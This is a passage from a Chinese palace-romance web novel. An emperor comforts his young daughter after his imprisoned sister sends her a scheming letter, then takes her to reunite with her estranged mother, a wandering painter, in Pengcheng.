元衡显然不是第一次回答她,“母后没有死,不是都同满满说了,母后她只是不喜欢一直在宫里,所以才这么说。” “母后为什么不喜欢待在宫里呀?” 她听到的所有人都说,她的父皇是这世上最尊贵的人,这皇宫是所有人打破头都想进来的地方。 元衡耐心道:“每个人都是不一样的,不是每个人都喜欢待在皇宫里。” “你母后是大魏独一无二的女画师,是个很厉害的人” 满满眼睛亮了些,“母后比父皇还要厉害吗?” 元衡点了点头,“像父皇这样的皇帝古往今来有很多,你母后这样的人却没多少。” “所以咱们不能去打扰她,满满也要听父皇的话,不要同外面的人说起她的身份,这样会给她带来很多麻烦,说不定以后都见不到她了” 满满脑袋又耷拉了下来,“知道了” 她还是有些不甘心,又问道:“父皇,那母后什么时候能一直陪着咱们呀” 元衡话音顿了顿,道:“那要等到母后忙完自己的事了吧。” 满满似是有些不愿,说话带了些怨怪,“母后比父皇还忙吗,他们不都说父皇是这天底下最忙的人。” “有什么比满满还要重要呀…” 元衡其实也想要知道,可他在满满面前还要是个好父亲。 “满满,每个人都有自己想要忙的事,不可能总指望着别人做什么都要顾念着你的感受,母后也一样。” 他见小姑娘还不满,只好板起脸来,“就像今日,满满做的也有不对。” “满满怎么了?” 元衡道:“今日满满这么早就把嬷嬷叫起来了,满满想一想,如果自己是嬷嬷,被别人提早叫起来,又要梳头,还要害怕被罚,在雪天里陪着,满满怎么想?” “是满满不对……”满满想了想,又道:“那我是不是也吵到父皇了呀。” 元衡听后,心头一软。 他养大的好孩子,都会想到他了… 他确实把满满养的很好,会替别人考虑,答应了什么也会做到,即便是这样尊贵的身份,也不像他一样谎话连篇,蛮横不讲理… 他温声道:“满满没有吵到父皇,父皇本来就醒了。” 满满仰起头仔细看了看,“父皇骗人,父皇眼睛下面是黑的,紫芯姨说了,人睡不好就会这样…” 元衡扯起一个笑,“那满满陪父皇再睡一会儿好不好?” 满满使劲点了点头,立刻躺在了那张大床上,蹬掉了一只鞋子。 元衡帮她把另一只鞋脱下来,也躺回到床上。 满满躺在床上,还是不安分,“父皇,你说母后什么时候会不忙呀?” 元衡闭上眼,敷衍道:“等到满满变得很厉害的时 候。” 满满在床上打了个滚,眼睛滴溜一转,“是不是等我厉害以后,我就可以把母亲留下来了?” 元衡猛地睁开眼,看向小姑娘,那双眼睛正探寻地盯着他,不似在开玩笑。 这孩子,果然还是有随了他的地方。 元衡刮了刮她的鼻子,义正辞严道:“不可以。” “你母后会生气,说不定一辈子都不回来了。” 满满听后失落了一瞬,心里也实在想不通。 她对母后没什么印象,也不知道母后对她是怎样的,会不会像父皇这样好。 父皇总说她的母后是个很温柔的人,宫里的叔叔姨姨也这么说。 可如果是个很温柔的人,为何会因为生气一辈子不回来了呢? 满满还想问,却是见自己的父皇已经闭上了眼睛。 她就知道,父皇刚才是在撒谎,他分明是累了。 她长大了,不好骗。 至于母亲为什么常年不回家,迟早有一天她会弄明白。 想到此处,满满蹬了两下被子,翻个身,也跟着睡了过去。 * 上元节一过,小姑娘便又恢复了往日的课业。 皇帝对小公主的课业管得很严。 皇室的孩子开蒙早,元衡当年三岁开始读书,便是按照同样的年纪,在满满三岁的时候就请了太子太傅来亲自教导,和大一岁的渠王一起开蒙。 说来此事也算波折,前任老太子太傅还因为教导不当而被贬了官。 第一次是因为老太傅给满满和六皇子安排了不同的课业,让满满先学礼,而让六皇子先学论语。 元衡这些年待下一向宽和,如此也没有罚,只是将老太傅亲自叫来跟前,说将两个孩子一视同仁。 后来,老太傅在学堂上教了一首诗。 回去后,满满将那句“窈窕淑女,君子好逑”背了出来。 她满怀好奇地问他,“如果不是‘淑女’是不是就不会被别人喜欢了呀?” 元衡当时骤然黑了脸。 第二日,宫里便换了位太傅。 如今元衡每隔几日便会考察小姑娘的功课,每月都会亲自将太傅叫来核对书目,便也没再出过什么岔子。 这一日又到了元衡考察功课的日子。 只是这一日,满满似乎下学晚了些。 元衡倒是有耐心,一边看着公文,一边等着女儿回来。 只是元衡没想到的是,满满是哭着被抱回来的。 纵使是他,也从来没有见过满满这样哭过,满脸通红,哭得撕心裂肺,上气不接下气。 元衡放下笔走过去,只见钱嬷嬷欲言又止,紧张又不知所措的样子。 “发生了何事?” 一声冷问,钱嬷嬷竟是跪了下去,“陛下赎罪。” 元衡低头看了看她,并未动怒,蹲下身去问,“满满为什么哭?能给父皇说吗?” 谁知他一问,小姑娘哭的更汹涌了,“父皇骗我,你们都骗我…” 她抬起头,一双眼睛都哭成了核桃,鼻涕眼泪糊在脸上,抽噎道:“母后她根本不是因为忙才不回来,她是逃走的!” “她根本就不喜欢满满,也不喜欢父皇,所以才跑了对不对?” 第126章 第一百二十六章一起去找母后,好不好…… 元衡愣了一瞬,而后面容骤然凝结成霜。 “谁同你这么说的?” 满满一味地哭,元衡问不出,转头看向乳娘,“你说,发生了何事?” 乳娘道:“奴婢也不知道,公主回来的时候就这样了。” 元衡面色越来越冷,道:“你去查,把今日公主见到的人都找来,朕要问话。” 乳娘领命,行了一礼便赶紧离开。 元衡脸色缓和几分,也顾不得编什么谎,追问道:“是谁告诉满满的?” 满满不肯说,“父皇先说,他们说的是不是真的?母后是在逃跑的路上死了,再也回不来了…” 元衡抿了抿唇,道:“不是。” “你母后活的好好的,是谁说她死了?” 满满半信半疑,问道:“真的吗…” “可是小姑姑的信上说,母亲当年跑了,是父皇把她吓跑的。” “姑姑?” 是元斓… 元衡眉头越皱越紧,声音也跟着冷硬了几分,“她给了你什么信,拿出来给父皇。” 满满从未见过自己的父皇这般,在她的眼中,父皇一直是温和仁善的,平日不打不罚,宫人都说,自己的父皇是这个乱世里百年难遇的仁君。 满满第一次意识到自己可能说了元衡讨厌的话,还有那个小姑姑,和父皇的关系肯定也不好… “父皇是不是讨厌小姑姑呀…” 她眼中蓄着泪,声音都比平时小了许多,委屈地瘪嘴。 元衡见后,立刻又冷静下来些。 错的又不是他的满满,她还那么小… 是又有人想要害他的小姑娘,要挑拨他们父女的关系,这些年不是没有人暗地里做过小动作,可这一次竟是这样明目张胆。 他深吸一口气,调整好心绪,给小姑娘擦了擦眼泪,温声解释道:“给你写信的小姑姑是个坏人,她说的话不能信。” 满满仍在哭,刚被元衡抹掉一层眼泪,另一茬泪珠便又落了下来,“可小姑姑信上说,她就是帮母后出逃才被抓的!她说是她当初将母后送到父皇身边,母后很不高兴,她特别后悔…” 这话说的真假掺半,元衡的话竟是被绊住一瞬。 转而他的脸色又严肃了几分,“她那都是在骗你。” “满满听话,把信给父皇。” 满满撅起嘴,捂住胸口,显然那封信是藏在怀里。 元衡没有去抢,只是伸手等她把信自己送到手上。 满满问道:“父皇是不是还在骗我…” “没有。”元衡斩钉截铁道:“你相信父皇,是她想要用你来害父皇,不能信她的话。” “满满可知,为何那位小姑姑不亲口对你说,而要带信给你?” “为什么?” 元衡说道:“因为她曾经就想要害过父皇,被父皇关了起来。” “所以她想方设法想同满满说话,就是想再害父皇和满满。” 满满却是不信,“可是姑姑的信上说,是因为母后逃跑,她才被关起来的!” “所以她在骗满满。”元衡道:“外人是会害满满的,但是父皇不会,父皇的话你还不信吗?” 满满想了想,却还是不肯将那封信交出来,一双圆眼时不时瞅向他,又问了一连串的问题,“那小姑姑也算外人吗?小姑姑为什么要想害父皇和满满呀?小姑姑和母后认识吗?” 她问的问题一个比一个难回答,元衡眉头都拧成了团。 他答不了,只好敷衍道:“这些都是大人的事,等满满长大后才能说…” 满满跺了跺脚,好不容易止住的眼泪又夺眶而出,“我已经不是小孩子啦!” “父皇就是说谎,父皇说过不让满满撒谎,自己是个大骗子…” 元衡心中无力,其实满满说的没错,他确实是个满口谎言的骗子,先是骗了岑璠,现在还要来骗女儿… 可他有什么办法,总不能真的告诉满满她娘是逃跑的,他逼也逼过,求也求过,怎么留都留不住。 元衡叹息道:“满满怎么样才肯相信父皇?” 满满没想多久,试探地小声嗫嚅道,“我想见母后…” 元衡又气又笑,心底彻底无奈。 他上哪里去给小姑娘凭空变出来个娘? 他也两年没见过他的皇后啊… “父皇,母后是不是真的不愿意回来呀?” “不是,母后她…” 小姑娘学会了抢答,“母后她忙…父皇老是这么说…” “母后忙,可满满不忙,满满可以自己去看母后。” 元衡听了心酸,“可是满满去找母后,就看不见父皇了。” 满满踮起脚来,抱住他的脖子,“为什么看不见?父皇也想见母后,陪满满一起去找母后不就行了?” 这些年元衡不是没想过去找岑璠,去年的这个时候,他就冲动到想要去亲自找她一趟。 可也仅仅只是想了想, 他要是这么做,她肯定会厌烦,说不定之后还要躲着他。 可如果是满满想见她呢?她或许真的不会生气。 元衡有些动摇。 这两年她虽然总是能找这样那样的借口,可说白了就是不想见他,不然怎么样都能回来… 可如果和她说是满满非要见她,他实在阻拦不住,她未必会怪到他头上。 小姑娘机灵又粘人,越来越难缠,说不定她也招架不住,说不定就跟着回来了。 凡事都有个万一呢? 元衡心里愈发动摇,问道:“满满这么想见到母后?” “想!”满满点头如捣蒜,眼睛都瞬间亮了。 “父皇难道不想吗?” 元衡承认,“想。” “那父皇给你母后写信,咱们过段时日就去找她好不好?” 满满咧开一个笑容,露出一口乳牙,完全变了样,也不哭闹了。 元衡又伸出手,问道:“现在能把小姑姑的信给父皇了吗?” 小姑娘乖乖将怀中的信给了他,没有丝毫犹疑,元衡甚至有一瞬觉得,她就是为了让他答应去找岑璠,才哭给他看的… 元衡倒也没想太多,接过满满的信,打开仔细看了看,眉越拧越紧。 那封信显然就是故意写给满满的,说的话写的字都是孩子极易懂的… 她竟是告诉小姑娘,岑璠是和她一起逃走的,还说害怕他,让满满不要告诉他这个做父亲的,如果不信,就想办法去浮华宫找她。 分明就是想办法要把满满骗过去。 幸好这孩子不全信,来找他当面问了,不然说不准什么时候就要被元斓那个女人骗了… 想到此处,元衡手掌收紧,目光渐渐带了几分戾气,像是凶兽忽然睁开了眼睛。 满满从未见过自己的父皇如此,她有些害怕,小心翼翼问道:“父皇是不是在生小姑姑的气呀?” 元衡看她,语气依旧温和,“满满,这个姑姑的话一句都不能听,明白吗?” 满满看着他的眼睛, 她很少见到元衡这么严肃同她说话,想来不会骗她。 况且父皇刚才答应了,要带自己去见母后。 满满展开一幅笑容,“明白啦,都听父皇的。” …… 元衡将这日见过满满的人都找了过来,彻查一番才明白,那封信是被渠王带来的。 渠王常年在后宫,又是小孩子,和公主在一起上课,难怪元斓会盯上。 元衡也没有怪渠王,一个小孩子约莫也是被骗的。 可渠王还问了他别的。 “皇兄,姑姑说我的母亲是你害的,这是真的吗?” 元衡看了看他,道:“是云氏先受你姑姑蛊惑,想要杀朕,畏罪自戕,朕问心无愧。” “你若是因此记恨朕,被朕发现,朕定然不会放过你。” “臣弟明白。”渠王行了一礼,手捏的有些紧。 元衡瞥了他一眼,“你在怕朕?” 被看透了心思,渠王显然有些惊诧,“臣弟、不敢…” 元衡听后,疲惫地捏着眉心,摆了摆手,“明日还有课业,你先回去吧。” 渠王走后没多久,元衡便去了浮华宫。 浮华宫内一片漆黑,只有水榭内有一盏昏黄的小灯悬挂。 水榭内有一人在弹琴,那人穿着白衣,即便是在灯火映照下脸色也显得苍白,琴声凄凉婉转,更显幽寂空灵。 元衡倒是不怕,让人守在门外,一个人走到亭内。 元斓手指勾住最后一个音,而后看向他,嘴边还挂有浅浅的笑,“几年不见,皇兄怎么今日来了?” 元衡冷声问道:“你要做什么?” 元斓手抚在琴上,叹惋道:“我不过是给两个孩子说了一些事实,皇兄难道是为此来兴师问罪的?” 元衡讽笑一声,似是看透了她,“最近梁国战败的消息想必皇妹是听见了。” “这场战事因萧晗而起,想必那些害死萧晗的人,和皇妹脱不开关系吧?” 元斓轻轻一笑,低下头默而不语。 元衡低下身,警告道:“你可以和朕斗,但唯独不能利用满满,也不该利用六弟。” 元斓闻言抬起头来,觉得有趣,“陛下这些年倒是顾念起手足亲情了。” “难怪外面的人都说陛下宽厚,那些废物不成事,现在看来倒也不奇怪。” 她阴阳怪气道:“谁又能想起陛下曾经囚禁手足,六亲不认,弑父杀君呢?” 元衡静静听着,“你真以为朕不敢杀你吗?” “元斓,朕只是觉得因为你再闹一场,不值当罢了。” 元斓不以为意,气定神闲地瞥了他一眼,用手指轻轻挑起一根琴弦。 “皇妹背后之人其实是萧晗吧。” 元斓眼神一滞,手指微微松开,一声琴音从指尖泻出。 他揭穿她,道:“萧晗告诉你,只要让你想办法激怒朕,他便还有机会替你和舅父报仇,所以你便是死也想一试?” 元斓放下手,咬着牙恶狠狠地看着他,眉毛高扬,“是又怎样?” “舅父才是我的亲人,你我本该是仇人才对,不是吗?” 元衡这些年有意压制自己身上的杀伐,可听到此处,却还是忍不住握住了拳。 他什么也没说,走出宫门,伫立许久,向守在浮华宫的宫人交代了一样东西。 这种东西岑璠用过,胡氏陷害柳家时也用过。 是美人泪。 这种药颜色鲜红,如同美人泣血,带有清香,中毒缓而不自知,长期吸食便如同毒虫侵蚀,身体日渐羸弱,不出三月定会暴毙而亡。 这种药可以染在衣裳上,也可以染在画上,也可以下在胭脂里。 她想要害他的满满,他便不能再让她活太久… 可他不能让她察觉他有杀意,让她抓住机会将这件事散出去,再挑起一场战事。 只能这么做… 她自寻死路,怪不得他。 元衡安排完一切后,便回了含章殿。 满满还在含章殿内等着他,连衣裳都换好了,显然是打算赖在这里不走。 直到就寝时,元衡坐在床边,眉头仍未舒展,自己却不曾察觉。 满满却是看得出,她伸出手,手指抹开他的眉头,“父皇是不是还在生气。” 元衡缓过些神,满满道:“父皇是在生小姑姑的气吗?” 元衡抿了抿唇,很久后才道:“这些事父皇来处理便是,满满不用担心。” “满满只需要记住,以后任何人要你去见他,都要先和父皇说,你这次做的就很好。” 满满认真听着,不知道为什么要这么做,却能隐约感受到不是每个人都像父皇这样,对她全是善意… 有人讨厌她,也讨厌自己的父皇。 她的父皇这样好,百姓都说父皇是好皇帝,为什么会有人不喜欢她和父皇呢? 小姑娘想不通,人生中从未有过的认知令她彷徨又恐惧。 “慢慢明白了。”她乖乖回应,却在须臾后拉紧了元衡的衣袖,问道:“父皇,满满有些害怕,这几天能不能和父皇一起睡呀,满满怕他们…” 元衡心算是彻底软了下来,这才忽然间意识到,他已经回到了自己的家,不用再去想怎样去杀一个人,防一个人。 这么大个皇宫,也只有满满在的地方才算是家了。 他微微颔首,算是答应,“满满没必要怕他们,只需要提防,现在父皇让你躲着他们,是因为你还小,打不过他们。” “那些坏人们没什么可怕的。” “真的吗?” 元衡肯定道:“满满很聪明,等到你长大,他们会怕你的。” 满满放下心来,铆足劲点了点头,放心地准备睡觉。 宫人熄了灯,小姑娘静静躺在他的身边,比起平日,可谓是异常地老实。 一阵阵疲惫往上涌,元衡也闭上了眼睛。 忽然,一声软糯的声音在耳边响起,“父皇,咱们什么时候能去找母后呀。” 元衡又睁开眼。 他都忘了,他还要想办法同岑璠解释他要去找她的事呢… 小姑娘见他犹豫,生怕他反悔,接着凑近些追问,“父皇,母后她在哪里呀,咱们去找她要多久呀?” 元衡其实也不确定她愿意在哪里见他们父女,只得说了个她常歇脚的地方。 “母后她在彭城。” 他想了想,道:“等到雪化了,咱们再动身一起去找母后,好不好?” 第127章 第一百二十七章重逢 二月之时,杨柳抽出新芽,大河之上江水滔滔,江风依旧凌厉,如同一把剪刀划在脸庞上。 元衡此去彭城,命丞相监国,带的人也不算少。 满满第一次出门,坐的还是海船,每日睁眼第一件事便是穿好衣裳,跑出船外看沿途江景,旁的小孩多会晕船,她倒是精力很充沛,他们的船周围常有船家经过,满满站在船上打招呼,船家很少见到这么小的孩子坐船,常忍俊不禁朝她挥手。 元衡不曾管她这些,左右都在这船上,有钱嬷嬷看着,她也出不了什么事。 已近彭城,这一日满满照旧趴在船上左看右看,钱嬷嬷能感觉的出,越靠近彭城,自家公主就越是兴奋。 这一次经过他们的也是一艘大船,这艘船船身虽不如他们的大,船上的人却不少。 那艘船上放眼望去几乎全是男子,唯有船尾远眺的女子身穿白衫,裙角翻飞,如同遗仙独立,比她在宫里见到的人都美,十分瞩目。 满满觉得有趣,朝那女子挥了挥手,“阿姊阿姊,你好漂亮呀!” 女子听到声音,回过头来。 满满却是瞬间愣住了。 她轻轻歪头,又盯着对面的人看了好几眼。 她在父皇的书房看到过母后的画像,对面的那个人,和她的母亲简直一模一样呀! 岑璠注意她,她转过身,只见一个粉粉嫩嫩的小团子趴在对岸,正呆呆地看着她。 那个小姑娘的长相有几分熟悉,有一种预感也呼之欲出。 满满立直身子,先踮起脚喊了一声, “母…” 钱嬷嬷低声制止,“公主,您忘了陛下怎么同您说的?” 满满想起,父皇临走的叮嘱过她,如果见到母后,要叫她阿娘,不能叫母后。 小姑娘立刻换了个称呼,“阿娘!阿娘!” 岑璠朝着她浅浅一笑,那笑容和春日的暖阳融在一起,小姑娘看得脸都红了些,目不转睛地看着她,而后回了一个灿烂的笑容,又叫了几声阿娘。 船上的人瞧见了热闹,朝岑璠望过去,那艘船的舵手与岑璠相识,觉得那小姑娘甚是有趣,多看了好几眼,笑着问道:“这便是夫人说的女儿啊!是来找夫人的吧!” 岑璠并未回避,回答道:“是,她叫满满,正因为要见她,所以才提前回来的。” 两艘船上好一阵热闹,原本在舱内的人也走出来。 元衡还没来得及问,小姑娘便迫不及待喊道:“父皇,是阿娘,对面是阿娘!” 元衡听到小姑娘叫出这个称呼,心里一顿,他自己甚至还没有想好该如何和岑璠相对,竟是在路上遇到了。 他犹豫了片刻,还是朝满满的方向走过去。 满满指着江对岸,道:“父皇看,是阿娘,是阿娘。” 元衡朝那艘船看去,一眼便从人群中瞧见了她。 她还是同过去一样,没有什么改变,还是那样容颜姣好,像是未出阁的姑娘一样。 如果硬要说是哪里变了,大概是那双眼睛。 那双眼中少了些冰冷和躲闪,坦坦荡荡抬头直视他,竟像是明媚的春光,让他有些陌生。 岑璠朝他行了一礼,别无其他。 多年的怨念纠缠,都仿佛被隔岸的江风吹散,余下的只有风平浪静。 舵手瞧对岸望去,一眼便知元衡身份非凡。 那艘船上的人明显不像他们这艘商船,船上的人各个训练有素,显然是一条官船,官船之后还有几艘差不多的船紧跟着。 面前的这位女画师,时而出现在彭城附近,平素从不接见外客,行踪不定,很少有人见过真容,更不知道身份。 倒是有离谱的传言,说这位女画师是过去的皇后,听说还是从彭城的岑家传出来的,约莫是还在做着靠皇后平步青云的春秋大梦。 只不过这谣言信的人也没多少,当朝皇后死了已经有四年了,当时举国还为这位皇后守过丧,哪能死而复生。 舵主问道:“那位是夫人的” “那位是我曾经的丈夫,如今在华山县。”岑璠应答如流,“我习惯游走四方,他家里人不同意,我便提了和离。” 舵主了然,“原来是这样啊” 他多看了一眼,这位夫人说的坦荡,没有丝毫怨念,真就像是她说的那样,仅仅是因为喜欢居无定所,游走四方才提出和离的。 若真是如此,他倒是真有些佩服了。 当今女子还是安于后宅的多,有了孩子还能这样毅然选择离家的更是不多见。 不过若是这样的女子困于后宅,这大魏就会少一位传奇的女画师了。 舵主摇了摇头,只觉得两人郎才女貌,那男人一看就是个有本事的,着实算可惜,旁的倒也没说什么。 两只船心照不宣地靠近了些,仍保持着些距离,江风拂过,无人离去。 岑璠久久不回,槿儿都从船舱内走了出来,手里拿了一件披风,“阿姊怎么又不披衣裳就出来了。” 她见岑璠没有回话,顺着她远望的方向看去。 另一艘船上,一大一小正隔江而望。 槿儿有些诧异,跟着岑璠出来多年,竟也忘了过去在王府皇宫要行礼的规矩。 岑璠接过披风,一边低头系着系带,一边说道:“槿儿,去把我的笛子拿来吧。” 槿儿从船舱拿来笛子时,父女俩人还在对面的船上,只不过满满似乎是踮累了脚尖,张开双臂,就要元衡来抱。 元衡将她抱了起来,父女两人依旧看着她。 岑璠浅浅一笑,拿起笛子,吹了一首欢快的小调。 满满在对岸拍着手,说的是什么她听不真切,可大抵能猜到是在说好听。 吹完这一曲,岑璠裹了裹身上的披风,什么也没解释,回了船舱。 槿儿知道这两年来岑璠很是牵挂,不禁问道:“阿姊为何回来了?” 岑璠一愣,“不过是冷了,哪里有这么多为什么?” 槿儿“哦”了一声,“公主想阿姊,我还以为阿姊要一直在外面呢…” “一直站外面做甚,我又不傻,冷了不知道回来。再说我若是一直站在外面,他们肯定也要在外面。” 槿儿听后也觉得有道理,扭头去烧水去了。 对面的船上,满满还望着那艘船,“阿娘怎么不理我了呀?” 元衡道:“娘在外面也冷,不是不理你,刚才娘不是还给你吹笛子了吗?” “哦。”满满有些失落。 元衡问道:“满满冷不冷?咱们也回去?” 满满抓紧了他的衣裳,“那咱们也回去吧…” * 到码头时,天空和水面都染上了落霞的颜色。 岑璠下船时回头,那艘官船还在停靠。 码头上车夫正在等着她们,岑璠道:“先回去吧。” 槿儿疑惑道:“咱们不等了吗?” “不等了,总不能真的上了皇家的车,那样不是都知道了。” 说罢,岑璠便跟着车夫,坐上自己的车先回去了。 元衡早年便知道她在彭城外的山上有座宅子,那时候他还悄悄在她对面的山头建了一座别院,只不过后面几年宫内宫外不太平,便一直没有机会来。 如今倒是派上了它的用场。 只不过满满一路上没有看到娘,却是不太愿意,“父皇,母后呢,母后是不是不想见到我们呀” 元衡安慰道:“你母后只是不想让别人发现她是皇后,没有不想见到咱们。” 元衡很肯定,她或许不想见到他,可肯定还是想满满的 满满拽住他的袖子,问道:“那咱们今天可以见到母后吗?” 元衡抿了抿唇,他也不确定岑璠回去到底是什么意思,是不是今天太累,不想见他们了。 他犹豫后,轻声劝道:“咱们明天去找母后好不好?” 满满立刻皱起了眉,“不好,满满今天就想见母后” 她说的越来越委屈,就差掉下小泪珠,元衡很少见到满满如此可怜的模样,实在于心不忍。 他准备带满满去,若是她不情愿,大不了满满留下,他自己走就是。 元衡答应道:“那咱们去找母后。” 满满尚且收不住哭,却不忘点头,“好” 元衡摸了摸她的头,命外面的人换了方向,向岑璠的别院走去。 那处别院在半山腰,上山时清泠溪水声不断,汇聚成几处小型飞瀑,映照在夕阳下波光粼粼,伴随着归鸟鸣叫,更显幽静。 别院背 靠茂盛树林,日头晒时能投下一片阴凉,前方却视野开阔,从院外俯视可见广阔天地。 上山之时,夕阳已经隐到了山后。 元衡上山并未带太多人,他下车后,指停在门上,而后亲自叩响那扇门。 开门的是槿儿。 锦衣金冠的人站在面前,槿儿才想起来曾经的规矩,福了一礼,“陛下,姑娘在里面等您和公主。” 元衡想说在此就不必叫他陛下,可这里不是他的地方,不能叫他主家,他一时也不知如今的自己还有什么别的身份。 于是只好作罢。 他牵着满满的手走进去,父女两个的手心都握出了汗。 院内的女子,还是白日见时一般,身穿那一袭白衫,浅浅的夜幕下,依稀有水声潺潺,而她正站在花丛中静静地浇灌着花草,就好像是很平常的一天。 他们走近时,岑璠浇完了最后一株花草,看向父女两人。 看见她的那一刻,满满却是立刻撒开了腿,“母后” 她紧紧抱住岑璠的腿,岑璠弯下身子,抚摸着她小巧的脸蛋。 “满满都这么高了” 满满抬起头来,一双葡萄似的大眼睛委屈巴巴看着她,一直活在父皇口中的母亲,就这么站在自己的面前,抚摸她的触感是那样真实温暖。 “母后,您已经两年没有回来了,满满真的好想你…” 岑璠笑而不语,原来他那时说的都是真的,关于她的事,他还是真的一点都没有对满满隐瞒,不肯说她死了 岑璠道:“母后这些年有自己的事,就像方才,也要先把这些花都浇完才能去迎满满是一个道理。” 这些话和元衡平日里说的大差不差,小姑娘深信不疑地点头,“母后忙,那以后满满就多来陪母后。” 岑璠心道不可能,却也没有反驳她的话。 她多看了好几眼,目光才微微移开,看向元衡,却也不知道该说什么。 元衡站在原地,他来时曾想过许多要同她说的话,可见到她能如此泰然地面对他,却又不知道该从何处说起。 满满见自家父皇竟是成了闷葫芦,十分不满,小手将他拉近了些,“父皇也想您啦!” 岑璠唇角笑弯了些,淡然的目光落在他身上,无怨也没有讽刺。 比起过去那种带着锋芒将他推开的目光,这种开放包容的目光更让他不适。 还不待他说什么,岑璠先问向满满,“满满平时爱吃什么?阿娘看自己会不会做?” 满满懂事道:“阿娘做的,满满都喜欢吃。” “那你就和阿娘去灶房吧,看看自己想吃什么?” 满满点了点头,由她牵着手进了灶房。 岑璠没回来的这些天,山下的笋子冒出了尖,前几日老管家接到信,多砍了几颗新鲜的笋,冷窖中藏有菜,还有前日在江上网的鱼。 岑璠笑了笑,问道:“满满想要吃什么?” 满满在宫中吃惯了鱼鲜,倒是对那只大鲤鱼不感兴趣,可她从未进过灶房,指着那颗笋子问道:“阿娘,这是什么呀?” 岑璠耐心解释道:“这是笋,才从山上挖的,满满若是想看,明天阿娘带你出去好不好?” 满满回头看了看元衡,“父皇,我明天能去看笋子吗?” 元衡颔首,“当然可以。” “那父皇也陪我去看笋子吗?” 元衡抬头看了看岑璠,不待她拒绝便说道:“父皇明日要去城内,你和阿娘在一起好不好?” 小姑娘有些失落,“那父皇去忙。” 灶房的厨娘已经剥了笋子,岑璠拿了扇子就要生火。 元衡想要接,“我来吧。” 话一出口,岑璠倒是有些意外,元衡也意识到,他充其量只能算得上一个客人。 岑璠却先将扇子递给了他,“陛下若是愿意,那便陛下来吧。” 她站起身来,转头去切那颗笋子。 元衡从前在军中,生火倒是不在话下,满满站在一旁看着,“父皇好厉害呀。” 元衡边扇火边耐心道:“满满喜欢,回去父皇教你怎么样?” “好呀!” 岑璠听到这番对话,浅浅一笑。 她过去曾也担心他这样冷心冷情的人带不好孩子,现在看来满满对他很信任,也很喜欢,是她多虑了。 火很快生起,满满失了兴致,转而迈开腿,踮起脚看岑璠切菜,“阿娘也厉害。” 她真的好开心,她终于见到了她的母后,她的母后就是父皇口中那样温柔漂亮的人,会为了她做一道菜,还有父皇生火。 要是每一天都能这样就好了。 “母后,你能不能以后常给我做饭呀,母后做的饭肯定很好吃…” 元衡走过来,纠正道:“你阿娘的手不是给你做饭的,平日里也不见你有这么多话。” 满满转过身去,丝毫不怕,又换回了阿娘的称呼,“我就是喜欢阿娘嘛……” “那我以后不说啦。” 岑璠忍不住轻笑出声,“你若是想吃,阿娘这几天都给你做。” 满满立刻察觉到话中的意思,没有哭闹,只是惶惶不安地问道:“阿娘不同我们回去吗?” 岑璠摇头,说起来的话有些残忍,却也没有欺瞒,“不回了,这是当初和你父皇说好的。” 满满转过头去,期待自家父皇能说出些什么。 谁知父皇只是对她道:“满满先出去找槿儿姨姨玩好不好?她是母亲的义妹,算是你的小姨,还没有见过你。” 槿儿是岑璠回宫后的第一年带走的,听说离宫不久后便认作了义妹。 满满还在看着他,眼神幽怨。 元衡又认真了几分,语气倒还算温和,“听话。” 说罢,满满便三步两回头地走了出去。 元衡走到门口,确认小姑娘真的走远,才关上门。 第128章 第一百二十八章那我可以和父皇母后一…… 元衡回过头,见岑璠在灶台前忙,可能是察觉到他有话要说,切完那颗笋子装盘,目光便向他看过来。 元衡关上门,仍旧堵在门口,想问她过得好不好。 但显然,没有他的这几年她过得很好… 起码看起来有了温度,同他对视的目光也平静了很多。 他轻轻抿唇,最后还是问了一句,“为什么今年也没有回来,可以告诉我吗?” 他小心翼翼地问,可岑璠只是风轻云淡地浅笑,“不是信里都说了,有些事要去忙。” 可元衡不相信,他能够感觉的出,她是在有意地躲着他。 不然这两年,什么时候总能回来一次。 元衡问道:“你是不是还想躲着我?” 岑璠不敢承认,但她心里确实是这样想的。 他是个皇帝,总不可能一辈子守着满满一个孩子,想来也不可能一辈子不再娶。 听说去年还有人上奏,说让他纳妃,皇城还起了冲 突,事情都传到彭城来了,想来是闹的不小。 满满开始记事,她总该离他们远一些,不该再给父母两个希望,觉得她还会跟着他们回去。 没想到,他一个皇帝竟是带着满满找来了… 岑璠眼神飘忽,问道:“听说去岁,王氏想送个女儿进宫……” 话还未说完,元衡便急着否定,“那是他们想让我做的,我自己从未答应过。” 岑璠便放弃这么说,目光又移开,“那好吧。” 元衡话音顿住,忽然反应过来,他刚才步步追问,可能又说错话了, 他连忙解释道:“我没有想要你跟着回去的意思,你如今这样,很好。” 来时他确实有期待过,她在外面自在够了,便能够和他一起回去。 可现在他竟觉得这样挺好的…… 元衡离开那扇门,离她更近了一步,“满满这次说的那些话,不是也我教她说的…” “我只是想要问问你,你明年还回来吗?她大了,又聪明,你不回来,我瞒不过她…” 岑璠没想过他有朝一日会这样同她说话。 不像从前那样惺惺作态地卑微,却以上位者的姿态俯视她,将她玩于掌间。 似乎连骨子里的那点傲都磨平了。 是因为满满吗? 岑璠想不通原因,犹疑许久,道:“也许会吧。” “那便好…”元衡同她道:“我不会骗满满说你死了,我只认定了你一个,便不会告诉她你死了,让她不明不白没了娘,这对满满不公平。” “我一直同她说你在外面忙,不喜欢在宫里,所以才不回去,没提咱们的事。这些天你也这么骗她就是了,也别说什么一辈子不会回去的话,骗一骗她,她还是信我的…” 岑璠安静地听他讲完这些话,也没挖苦他,似乎也没嫌他啰嗦,利利索索点了点头,“好,我答应你。” 元衡松了一口气。 他还是太不习惯,不习惯这样从容的她。 就像是被握在手心的翩跹蝴蝶,他放了手,她又展开了双翅,却再也抓不住了。 反倒是抓不住的他,成了患得患失,惶恐不安的那个。 他沉默了很久,没再同她叮嘱什么,岑璠也没在原地等他,自去忙活灶台上的菜了。 锅里的水已经沸腾,岑璠烫了笋,又切了些肉沫。 不过一会儿,满满闻到香味,又闯了进来,手上多了一枝盛开的桃花,头上都出了汗。 元衡抽出小姑娘腰上别的帕子,替她擦了擦汗。 小姑娘看了看岑璠,笑出一排小牙,“父皇,小花好漂亮,我能给阿娘带上吗?” 元衡点头,将她抱起来,慢慢走近岑璠。 岑璠看了一眼,莞尔一笑,头向两个人靠近了些,十分配合, 满满摘下一朵小花,别在了她的发髻上,咯咯笑了,“阿娘好漂亮,父皇你说是不是?” 元衡“嗯”了一声,醇厚的嗓音响起,“漂亮。” 水的沸腾声将这声轻轻的话掩盖过去,岑璠忙着自己的事,往煮熟的笋片中加了那把肉沫,也不知道有没有听到。 父女俩在旁边看着,不知不觉便做好了两道菜。 